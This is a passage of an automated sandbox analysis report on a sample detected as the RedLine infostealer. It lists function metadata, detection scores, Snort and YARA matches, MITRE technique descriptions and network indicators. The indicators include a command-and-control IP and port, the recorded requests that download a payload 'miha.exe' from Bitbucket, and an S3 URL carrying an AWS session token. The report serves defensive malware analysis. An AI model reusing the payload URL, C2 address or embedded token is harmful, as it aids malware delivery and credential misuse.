___mb_cur_max_func.MSVCRT ref: 0042508E

Part of subcall function 00424E80: IsDBCSLeadByteEx.KERNEL32 ref: 00424ED4
Part of subcall function 00424E80: MultiByteToWideChar.KERNEL32 ref: 00424F17

Strings

0t`, xrefs: 00425062

Memory Dump Source

Source File: 0000000D.00000002.711152433.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.711139798.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711559528.00000000004B6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711569831.00000000004B7000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712095510.00000000005B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712263838.00000000005BB000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712839547.0000000000608000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712868979.000000000060B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.713069833.000000000063F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_fl.jbxd

Similarity

API ID: Byte$CharLeadMultiWide___lc_codepage_func___mb_cur_max_func
String ID: 0t`
API String ID: 2785433807-3721126184
Opcode ID: 15a3d227ca4011a7a1bb2b3159b333f2ea4e54d54478a77436ec38dcffe86d16
Instruction ID: d4285280cce6525da45fcead058b638ad68b1b9b0fe2d1c17cbb0dc4b9e932e8
Opcode Fuzzy Hash: 15a3d227ca4011a7a1bb2b3159b333f2ea4e54d54478a77436ec38dcffe86d16
Instruction Fuzzy Hash: B631E875B097219BC7049F6AE88062BBBE5FFC8354F85892EE898D7311E774D9008B46

Uniqueness

Uniqueness Score: -1.00%

Function 0041F860 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 0041F8CE

Strings

Unknown error, xrefs: 0041F862
_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 0041F8B3

Memory Dump Source

Source File: 0000000D.00000002.711152433.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.711139798.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711559528.00000000004B6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711569831.00000000004B7000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712095510.00000000005B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712263838.00000000005BB000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712839547.0000000000608000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712868979.000000000060B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.713069833.000000000063F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_fl.jbxd

Similarity

API ID: fprintf
String ID: Unknown error$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-3474627141
Opcode ID: da8e896c804acff54fbe80838ad251cecd01cb860d060f43de1a7414d78fb82c
Instruction ID: 312f7706d4402a24ba0f86e69e45dbc1787c5fc39e248a691577da6b560e5b81
Opcode Fuzzy Hash: da8e896c804acff54fbe80838ad251cecd01cb860d060f43de1a7414d78fb82c
Instruction Fuzzy Hash: 6A01D6B0508B49DBC300AF11E48895ABFF1FF89354F8288DDF4C406265CB36D8A8C746

Uniqueness

Uniqueness Score: -1.00%

Function 00425000 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 31COMMON

Download Yara Rule

APIs

___mb_cur_max_func.MSVCRT ref: 0042501E
___lc_codepage_func.MSVCRT ref: 00425025

Part of subcall function 00424E80: IsDBCSLeadByteEx.KERNEL32 ref: 00424ED4
Part of subcall function 00424E80: MultiByteToWideChar.KERNEL32 ref: 00424F17

Strings

4t`, xrefs: 00425034

Memory Dump Source

Source File: 0000000D.00000002.711152433.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.711139798.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711559528.00000000004B6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711569831.00000000004B7000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712095510.00000000005B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712263838.00000000005BB000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712839547.0000000000608000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712868979.000000000060B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.713069833.000000000063F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_fl.jbxd

Similarity

API ID: Byte$CharLeadMultiWide___lc_codepage_func___mb_cur_max_func
String ID: 4t`
API String ID: 2785433807-3670166004
Opcode ID: 692ca87028bd64b5d1b486d43308b494178687fcdd640288a96036e5860d9f4f
Instruction ID: 9d20ef9ae6ab0b033acbe1ccb8f235b82defc36fd21a82a19a9629f6d4a6f2db
Opcode Fuzzy Hash: 692ca87028bd64b5d1b486d43308b494178687fcdd640288a96036e5860d9f4f
Instruction Fuzzy Hash: 59F0F475A183209FC700DF69A08154BBBF4EEC9A54F814D2EF898D7221E234D9048B92

Uniqueness

Uniqueness Score: -1.00%

Function 00425170 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

___mb_cur_max_func.MSVCRT ref: 00425180
___lc_codepage_func.MSVCRT ref: 00425187

Part of subcall function 00424E80: IsDBCSLeadByteEx.KERNEL32 ref: 00424ED4
Part of subcall function 00424E80: MultiByteToWideChar.KERNEL32 ref: 00424F17

Strings

,t`, xrefs: 00425196

Memory Dump Source

Source File: 0000000D.00000002.711152433.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.711139798.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711559528.00000000004B6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711569831.00000000004B7000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712095510.00000000005B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712263838.00000000005BB000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712839547.0000000000608000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712868979.000000000060B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.713069833.000000000063F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_fl.jbxd

Similarity

API ID: Byte$CharLeadMultiWide___lc_codepage_func___mb_cur_max_func
String ID: ,t`
API String ID: 2785433807-3371678524
Opcode ID: 034b2686346bdd659229766e2bffede4aaa74642ac7100e0b398c1c092c6839d
Instruction ID: 57db2ac91b9daf44e0083c74ca4043c58d559db960a66e99a14bb38167dae906
Opcode Fuzzy Hash: 034b2686346bdd659229766e2bffede4aaa74642ac7100e0b398c1c092c6839d
Instruction Fuzzy Hash: 77F0F8B5A093109B8700EF79E48144BFBF4FF88654F81893EF888C7211E235D945CB96

Uniqueness

Uniqueness Score: -1.00%

Function 0042E400 Relevance: 5.1, APIs: 4, Instructions: 55sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(?,?,?,00000000,0042E5F9), ref: 0042E427
EnterCriticalSection.KERNEL32(?,?,?,00000000,0042E5F9), ref: 0042E458

Memory Dump Source

Source File: 0000000D.00000002.711152433.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.711139798.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711559528.00000000004B6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711569831.00000000004B7000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712095510.00000000005B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712263838.00000000005BB000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712839547.0000000000608000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712868979.000000000060B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.713069833.000000000063F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_fl.jbxd

Similarity

API ID: CriticalEnterSectionSleep
String ID:
API String ID: 3080175056-0
Opcode ID: e4b659ba64fc55df74f47cb0cb7d344594cb0664b28c90ef0567ea1644407d5e
Instruction ID: 0205e6a9e79730f0e6e1e166dc66b957bbcdf22e09fba1fba3d02d75d1d89c34
Opcode Fuzzy Hash: e4b659ba64fc55df74f47cb0cb7d344594cb0664b28c90ef0567ea1644407d5e
Instruction Fuzzy Hash: 911173B0A581208BDB60FB2DF88916B77E1AF40304FD51426C481C3394E779F884D697

Uniqueness

Uniqueness Score: -1.00%

Function 0041FE80 Relevance: 5.0, APIs: 4, Instructions: 39COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,?,?,004200E7,?,?,?,?,?,0041F748), ref: 0041FE8E
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,004200E7,?,?,?,?,?,0041F748), ref: 0041FEB5
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,004200E7,?,?,?,?,?,0041F748), ref: 0041FEBC
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,?,004200E7,?,?,?,?,?,0041F748), ref: 0041FEDC

Memory Dump Source

Source File: 0000000D.00000002.711152433.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.711139798.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711559528.00000000004B6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711569831.00000000004B7000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712095510.00000000005B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712263838.00000000005BB000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712839547.0000000000608000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712868979.000000000060B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.713069833.000000000063F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_fl.jbxd

Similarity

API ID: CriticalSection$EnterErrorLastLeaveValue
String ID:
API String ID: 682475483-0
Opcode ID: b5a428228ee31b614c16337c4708583b9c06cf0581bc688bec8f30a1426dae44
Instruction ID: 9f9280bca3ef8d9489041f617baa336df26a7c331ff159423cb2e4128ce23656
Opcode Fuzzy Hash: b5a428228ee31b614c16337c4708583b9c06cf0581bc688bec8f30a1426dae44
Instruction Fuzzy Hash: D2F0AFB29047008FDB10BF78E88495B7BA5EB40350F050579EE8847325EB34BD49CBEA

Uniqueness

Uniqueness Score: -1.00%

Function 0041F3EE Relevance: 5.0, APIs: 4, Instructions: 30
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0041F3EE(intOrPtr* __eax, void* __ebx, void* __edi, void* __esi, void* _a4, void* _a8, void* _a72) {
				void* _t17;

				_t17 = __esi;
				es =  *__eax;
				 *__eax =  *__eax + __eax;
			}

0x0041f3ee
0x0041f3ee
0x0041f3f0

APIs

strlen.MSVCRT ref: 0041F3F5
memcpy.MSVCRT ref: 0041F410
free.MSVCRT ref: 0041F41A
free.MSVCRT ref: 0041F473

Memory Dump Source

Source File: 0000000D.00000002.711152433.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.711139798.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711559528.00000000004B6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711569831.00000000004B7000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712095510.00000000005B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712263838.00000000005BB000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712839547.0000000000608000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712868979.000000000060B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.713069833.000000000063F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_fl.jbxd

Similarity

API ID: free$memcpystrlen
String ID:
API String ID: 4283329877-0
Opcode ID: 06f7ad052e2a1493026ac55c81b8a3df190be65670e9b039f3a902c26bc48974
Instruction ID: c23b5f6a892946267cc39e9edfb00905efd930440a072617328f79f4d53c0eab
Opcode Fuzzy Hash: 06f7ad052e2a1493026ac55c81b8a3df190be65670e9b039f3a902c26bc48974
Instruction Fuzzy Hash: CBF030B56087108FC3006F29E48016EBBF0AFA1714F55087FD5C587211C3399485DB46

Uniqueness

Uniqueness Score: -1.00%

Source: XGN98Zq3JB.exe	Metadefender: Detection: 37%			Perma Link
Source: XGN98Zq3JB.exe	ReversingLabs: Detection: 73%

Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 4x nop then sub esp, 1Ch	13_2_004309A0
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 4x nop then sub esp, 1Ch	13_2_004172D0
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 4x nop then sub edx, 01h	13_2_00430590
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 4x nop then sub esp, 1Ch	13_2_004305B0
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 4x nop then mov eax, dword ptr [ecx]	13_2_00434710
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 4x nop then push edi	13_2_00475730
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 4x nop then push ebx	13_2_00475730
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 4x nop then sub esp, 1Ch	13_2_004177FE
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 4x nop then sub esp, 1Ch	13_2_0041786C
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 4x nop then sub esp, 1Ch	13_2_00417835
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 4x nop then sub esp, 1Ch	13_2_004178A3
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 4x nop then sub esp, 1Ch	13_2_00417939
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 4x nop then sub esp, 1Ch	13_2_004179CE
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 4x nop then sub esp, 1Ch	13_2_00417A05
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 4x nop then sub esp, 1Ch	13_2_00417A3C
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 4x nop then sub edx, 01h	13_2_00430590
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 4x nop then sub esp, 1Ch	13_2_004172D0
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 4x nop then push edi	13_2_00434C80
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 4x nop then push ebp	13_2_00433E60

Source: Traffic	Snort IDS: 2850027 ETPRO TROJAN RedLine Stealer TCP CnC net.tcp Init 192.168.2.5:49805 -> 193.233.177.223:31622
Source: Traffic	Snort IDS: 2850286 ETPRO TROJAN Redline Stealer TCP CnC Activity 192.168.2.5:49805 -> 193.233.177.223:31622
Source: Traffic	Snort IDS: 2850353 ETPRO MALWARE Redline Stealer TCP CnC - Id1Response 193.233.177.223:31622 -> 192.168.2.5:49805

Source: global traffic	HTTP traffic detected: GET /pldoras/mihail-gorshokov/downloads/miha.exe HTTP/1.1Host: bitbucket.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /5a78d2aa-6f62-48d4-85f6-ed006e2e5d6b/downloads/2117c637-0508-4593-b679-b018689aec56/miha.exe?response-content-disposition=attachment%3B%20filename%3D%22miha.exe%22&AWSAccessKeyId=ASIA6KOSE3BNMRJAJZJS&Signature=ruIbh%2B9kneXnDchGIDpT2vbGXI0%3D&x-amz-security-token=FwoGZXIvYXdzEPL%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaDNaheMVrebrIJjubKiK%2BARbgPkKH4B0HcHTMk4iQC44oIGm37gBwQCm181uEmQms%2B1Ft6Dmh0IOEKdygC7EhEMuIQhXeyMfrA%2F7OqEOwuy3qpW2yCuCutNQo2tfz1KvkVuxABmd9eRIOYGa208y1XoLuBsboIQKXYIpE1Yqsif7YcYPT4rzPk4bBzgud%2BsGyg8N6Q8mPa1sKr5v2911W7xEZgHRSJmKNEwOKNBhPkRBhwZ5bdULMWBWeH59gM%2FVipW%2BXvwpJQfz7jwsPiOQo2fbelgYyLbdF%2BWJ3KaYQ1ShvlK6lMHDG59YJBcsc9FUzI8orUGciTlcnSI7VbAml8cyv0w%3D%3D&Expires=1658307169 HTTP/1.1Host: bbuseruploads.s3.amazonaws.comConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 104.192.141.1 104.192.141.1
Source: Joe Sandbox View	IP Address: 104.192.141.1 104.192.141.1

Source: unknown	HTTPS traffic detected: 104.192.141.1:443 -> 192.168.2.5:49851 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 54.231.132.65:443 -> 192.168.2.5:49852 version: TLS 1.2

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443

Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.177.223
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.177.223
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.177.223
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.177.223
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.177.223
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.177.223
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.177.223
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.177.223
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.177.223
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.177.223
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.177.223
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.177.223
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.177.223
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.177.223
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.177.223
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.177.223
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.177.223
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.177.223
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.177.223
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.177.223
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.177.223
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.177.223
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.177.223
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.177.223
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.177.223
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.177.223
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.177.223
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.177.223
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.177.223
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.177.223
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.177.223
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.177.223
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.177.223
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.177.223
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.177.223
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.177.223
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.177.223
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.177.223
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.177.223
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.177.223
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.177.223
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.177.223
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.177.223
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.177.223
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.177.223
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.177.223

Source: 2.2.AppLaunch.exe.390000.0.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 0.2.XGN98Zq3JB.exe.4b8da0.1.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 0.2.XGN98Zq3JB.exe.4b8da0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 0.3.XGN98Zq3JB.exe.1c0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 0.2.XGN98Zq3JB.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen

Source: 2.2.AppLaunch.exe.390000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 0.2.XGN98Zq3JB.exe.4b8da0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 0.2.XGN98Zq3JB.exe.4b8da0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 0.3.XGN98Zq3JB.exe.1c0000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 0.2.XGN98Zq3JB.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 2_2_00B4EF08	2_2_00B4EF08
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 13_2_004251D0	13_2_004251D0
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 13_2_004292E0	13_2_004292E0
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 13_2_0042D480	13_2_0042D480
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 13_2_00428840	13_2_00428840
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 13_2_0042AD10	13_2_0042AD10
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 13_2_0041EE08	13_2_0041EE08

Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: String function: 0049B580 appears 69 times
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: String function: 0049AEE0 appears 469 times
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: String function: 0046BA30 appears 450 times

Source: XGN98Zq3JB.exe, 00000000.00000002.481770993.00000000004B8000.00000004.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamePends.exe4 vs XGN98Zq3JB.exe
Source: XGN98Zq3JB.exe, 00000000.00000003.475229939.00000000001C2000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamePends.exe4 vs XGN98Zq3JB.exe

Source: fl.exe.2.dr	Static PE information: Number of sections : 16 > 10
Source: XGN98Zq3JB.exe	Static PE information: Number of sections : 16 > 10

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
